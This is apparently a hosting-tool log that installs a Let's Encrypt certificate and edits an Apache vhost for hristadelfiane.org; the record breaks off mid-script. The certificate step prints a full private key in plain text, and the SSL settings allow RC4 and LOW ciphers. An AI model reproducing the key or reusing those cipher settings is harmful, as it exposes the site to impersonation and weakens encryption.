MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 3a99231277d1ec09b0a37cd18d994fb6
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-02-28 14:43:14: Establishing a connection
2026-02-28 14:43:14: Establishing a connection
2026-02-28 14:43:14: 

PUT: /tmp/pkp224544

#!/bin/bash
if [ -d "/var/www/hristadelfiane_www/.well-known" ]; then
    echo 1
else
    echo 0
fi


2026-02-28 14:43:14: 

chmod 755 /tmp/pkp224544; /tmp/pkp224544; rm /tmp/pkp224544

2026-02-28 14:43:14: 


1


2026-02-28 14:43:16: Establishing a connection
2026-02-28 14:43:16: 

PUT: /tmp/pkp378389

#!/bin/bash
mkdir -p "/var/www/hristadelfiane_www/.well-known/acme-challenge/"
cd "/var/www/hristadelfiane_www/.well-known/acme-challenge/"
cat > 5MMQU36-J_aAYSn3X2ibGZYvwX761Tihz9fB43DTsfg <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
5MMQU36-J_aAYSn3X2ibGZYvwX761Tihz9fB43DTsfg.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 5MMQU36-J_aAYSn3X2ibGZYvwX761Tihz9fB43DTsfg
cat > hF5VEXAKae7YOdmvjJoOjbtNNeJdDlriISoPaCAM79A <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
hF5VEXAKae7YOdmvjJoOjbtNNeJdDlriISoPaCAM79A.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 hF5VEXAKae7YOdmvjJoOjbtNNeJdDlriISoPaCAM79A


2026-02-28 14:43:16: 

chmod 755 /tmp/pkp378389; /tmp/pkp378389; rm /tmp/pkp378389

2026-02-28 14:43:16: 




2026-02-28 14:43:26: Establishing a connection
2026-02-28 14:43:27: 

PUT: /tmp/pkp966585

#!/bin/bash
mkdir -p "/var/www/hristadelfiane_www/.well-known/acme-challenge/"
cd "/var/www/hristadelfiane_www/.well-known/acme-challenge/"
rm 5MMQU36-J_aAYSn3X2ibGZYvwX761Tihz9fB43DTsfg
rm hF5VEXAKae7YOdmvjJoOjbtNNeJdDlriISoPaCAM79A


2026-02-28 14:43:27: 

chmod 755 /tmp/pkp966585; /tmp/pkp966585; rm /tmp/pkp966585

2026-02-28 14:43:27: 




2026-02-28 14:43:27: Establishing a connection
2026-02-28 14:43:27: 

PUT: /tmp/pkp111631

#!/bin/bash
temp_file=$(mktemp)
TARGET=cb3ec3692863cad5b3b14321e7c0e518.crt

cat > $temp_file <<'endmsg'
ba:bb:f5:f6:35:89:5b:c0:4c:04:d1:9e:be:eb:20:f2

-----BEGIN CERTIFICATE-----
MIIFFjCCA/6gAwIBAgISBm3nj9MC+lBlGjliQqI/tUAHMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjYwMjI4MTM0NDU1WhcNMjYwNTI5MTM0NDU0WjAdMRswGQYDVQQD
ExJocmlzdGFkZWxmaWFuZS5vcmcwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQCqovnNesEzyagBqlii2+NOT1l0VP3IKkkYOpUNr7oqqslRzdKwDmpVupue
Ld+YL2ePxzi04XoLZNhvPSmQ0HRd1rm5atbmeUddM+TndC6jL76klk8rTArgHcVW
fG2iW2IZN6mm4tDZGDZ1zAwNwu5mH06dYlJq56235ysAJ/qUU7xtN2r8+mFyZvvR
s4kM4n+GsX+y4gll9bu8cl7feIyhVTxw89LIPfTOAscIktCFIxCmXRUiWuB47r9f
vIj6BOfrU6JmWFTlPa7BuLzTsj1ZQQemED81BAM070fWIWr0Ip+yhrDLUAaQhH33
1iGCMkOqeexUwdNLJ2yIZJ3bl03PAgMBAAGjggI4MIICNDAOBgNVHQ8BAf8EBAMC
BaAwEwYDVR0lBAwwCgYIKwYBBQUHAwEwDAYDVR0TAQH/BAIwADAdBgNVHQ4EFgQU
9iYILIrZ3abwvUhjSNLf/F/ytxQwHwYDVR0jBBgwFoAU56ufDywzoFPTXk94yLKE
DjvWkjMwMwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUFBzAChhdodHRwOi8vcjEzLmku
bGVuY3Iub3JnLzA1BgNVHREELjAsghJocmlzdGFkZWxmaWFuZS5vcmeCFnd3dy5o
cmlzdGFkZWxmaWFuZS5vcmcwEwYDVR0gBAwwCjAIBgZngQwBAgEwLQYDVR0fBCYw
JDAioCCgHoYcaHR0cDovL3IxMy5jLmxlbmNyLm9yZy84LmNybDCCAQ0GCisGAQQB
1nkCBAIEgf4EgfsA+QB2AJaXZL9VWJet90OHaDcIQnfp8DrV9qTzNm5GpD8PyqnG
AAABnKS0Tt4AAAQDAEcwRQIhAJyITjlcPmAnEF/V14n9YwRhkcIAeY7t9RwjmpoK
iJ4BAiAT+Fp/h9wK5+32Z8Xcnsjx8IlY4xq8UkQ/rOPnPZHTHAB/AOMjjfKNoojg
quCs8PqQyYXwtr/10qUnsAH8HERYxLboAAABnKS0ULsACAAABQA0CrU1BAMASDBG
AiEA7wqukCycb1DmshTf3iJsjkHGAVoRKfxOs1fhvVsMx6cCIQDMF4x7KgF8SXNE
5hIN3kSt2HzCeNwdOvLdM5ihkdDW2DANBgkqhkiG9w0BAQsFAAOCAQEAQtzkQS1O
zQrnxk+cE+2SGGhMb9WMoSrVVZ31PGnVUMKkHUKe1u7yWbaJ2/qjFyInlJlAGkOY
jPaAbm5VQRZXDdH0xtdyE9EnqEASoimR7oHVOwbJxJFlhlY9SGyRXQfAEm7yCGQM
Fye+AwmeJugKk+BbJq3rITOrkJ3XThEMxjIUYyIAgY1VdogP5ovuMwGxpM3rTInC
VfS6B0Sr1369fwygxEDVX/YszhzBrU9syGjSmE0jNCWLMmg+FlYUm9kCcpSK+riu
FYC+4o9ZS2Acqm820S3UxQ2TudBocSSO0i0UkV8loAOh6/bBv8iU+t9m1A6i4YY3
FnDXjTwWJtGCkQ==
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvAIBADANBgkqhkiG9w0BAQEFAASCBKYwggSiAgEAAoIBAQCqovnNesEzyagB
qlii2+NOT1l0VP3IKkkYOpUNr7oqqslRzdKwDmpVupueLd+YL2ePxzi04XoLZNhv
PSmQ0HRd1rm5atbmeUddM+TndC6jL76klk8rTArgHcVWfG2iW2IZN6mm4tDZGDZ1
zAwNwu5mH06dYlJq56235ysAJ/qUU7xtN2r8+mFyZvvRs4kM4n+GsX+y4gll9bu8
cl7feIyhVTxw89LIPfTOAscIktCFIxCmXRUiWuB47r9fvIj6BOfrU6JmWFTlPa7B
uLzTsj1ZQQemED81BAM070fWIWr0Ip+yhrDLUAaQhH331iGCMkOqeexUwdNLJ2yI
ZJ3bl03PAgMBAAECggEAU6/mr/46bznBqj9vhUAutSN5jfJ5HQiQHM/udm3u8ioc
3oABitMnF7CTzfpVpP/q3Lsqdpv3DUuCUtw+XIW/7J35LJTXnOVyOKXQ6Cs1DFfI
OlR1s5hx5QT02bvg0TXcYN3J2M14/GBBpXhTmRQ3c+J63flwznmd24oGrubsoH27
iNZHUEXdkDkw8GfXuT192VIB7OOQ7l26hi/PrTo6w+taWB+TSJP9R1IYMwgsl+sp
/WVb4U4KnLXyewBpsYqH2PFIiXswFv6M5fRA0zLyUIp+3QLbwmSB6jiVmvjMF4cA
IApUUn/YMBqgZYwWQX6z5GJtKJIgA9s+7z2vv+WP0QKBgQDeu4Q5cSVYaZCnXkAx
jfzOdvdcDNtbAhqNacx16Z8/WLHaxunZEE/Qhn08oiHK+OxpDGZuj5+jJa/jZHAK
VUeUsRI1vG3qrVu+hKVS6c/pKVKyPkI6Er/yulSb5LnxfXugxep3tmCuEgfG6TRn
CV1IVg/gYD1jiQAiv6iv62rxWwKBgQDEH4CRqMhC45q6pAdbHnOUz/KAz9xLdCF0
OKoqCgxGl51j1bOs16a7U53yumr4tTvAt61FJOpTx46Tdr5uecKupmwqvf0ioWi/
wvwB4jU+q7onZ9KqT5UodnFSDrHra1Fg5a1oZrLjcibBqilmYm1+b22F3sN66Llm
yZryqBUrnQKBgHUdbF033Ucr2t/mcyKbYj691zsTl5O2+3c4FkY53X5ViM9coEF+
jjk7PkbPia1MTiK+Xm3sHyiN/Ho4qaEFTmok4UpYFgO7u+3lmXiLcMNM8yq+Cdy3
Vy6uQyblkdAlBwh2iN8Birx8xpIUtXUoO2B5wEde02iu9N9Qn8ZApy7ZAoGAT3t0
35NHldQoIPvY/1SYAvdDkHCtFuc5p6BPVjo8P1+yqYMyDhpXuBNrL7PdJm5MiQ3n
at5LGSkG3zyAcMVn4OARdkEJFb/Uc+LRvvGuInf2OYIaHmuiR4O46UiLUp1rnZl3
bZgxZ3wbuOD9ZkD9nwAJovdkwasPeFi8MxtreQECgYBeMSggVLFVC0wRUqhDrN3u
sIGb3x3ZmsUcqSy6ZsQq5+m+bbStPmo5RyrJHcLSsl7UkVrYObPcSq9x+rgiuPAc
ba2ipi//8NDvYzil4Y/kAV/ZgoGGXQRX7v9s70FppF898sXD/Vr1jTO5SFhsya0R
ZVrWgH8olpETimz9TIgRdw==
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
			

endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2026-02-28 14:43:27: 

chmod 755 /tmp/pkp111631; /tmp/pkp111631; rm /tmp/pkp111631

2026-02-28 14:43:27: 


dir=/etc/ssl/certs


2026-02-28 14:43:27: 

PUT: /tmp/pkp115398

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/hristadelfiane_www_org.conf"

gzip -cn9 $temp_file
rm $temp_file

2026-02-28 14:43:27: 

chmod 755 /tmp/pkp115398; /tmp/pkp115398; rm /tmp/pkp115398

2026-02-28 14:43:27: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/hristadelfiane_www_org.conf 46

<VirtualHost *:80>
    ServerName	hristadelfiane.org
    ServerAlias	www.hristadelfiane.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/hristadelfiane_www
    <Directory /var/www/hristadelfiane_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hristadelfiane/www_access.log combined
    ErrorLog	/var/log/apache2/hristadelfiane/www_error.log
    SetEnv pkp_uid	58
    SetEnv pkp_owner	hrista
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	hristadelfiane.org
    ServerAlias	www.hristadelfiane.org
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/cb3ec3692863cad5b3b14321e7c0e518.crt
    DocumentRoot	/var/www/hristadelfiane_www
    <Directory /var/www/hristadelfiane_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hristadelfiane/www_secure_access.log combined
    ErrorLog	/var/log/apache2/hristadelfiane/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>






2026-02-28 14:43:27: 

PUT: /tmp/pkp528952

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=hristadelfiane_www_org.conf
TARGET=/etc/apache2/sites-enabled/hristadelfiane_www_org.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'

<VirtualHost *:80>
    ServerName	hristadelfiane.org
    ServerAlias	www.hristadelfiane.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/hristadelfiane_www
    <Directory /var/www/hristadelfiane_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hristadelfiane/www_access.log combined
    ErrorLog	/var/log/apache2/hristadelfiane/www_error.log
    SetEnv pkp_uid	58
    SetEnv pkp_owner	hrista
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	hristadelfiane.org
    ServerAlias	www.hristadelfiane.org
    ServerAdmin	do_not_email@example.com
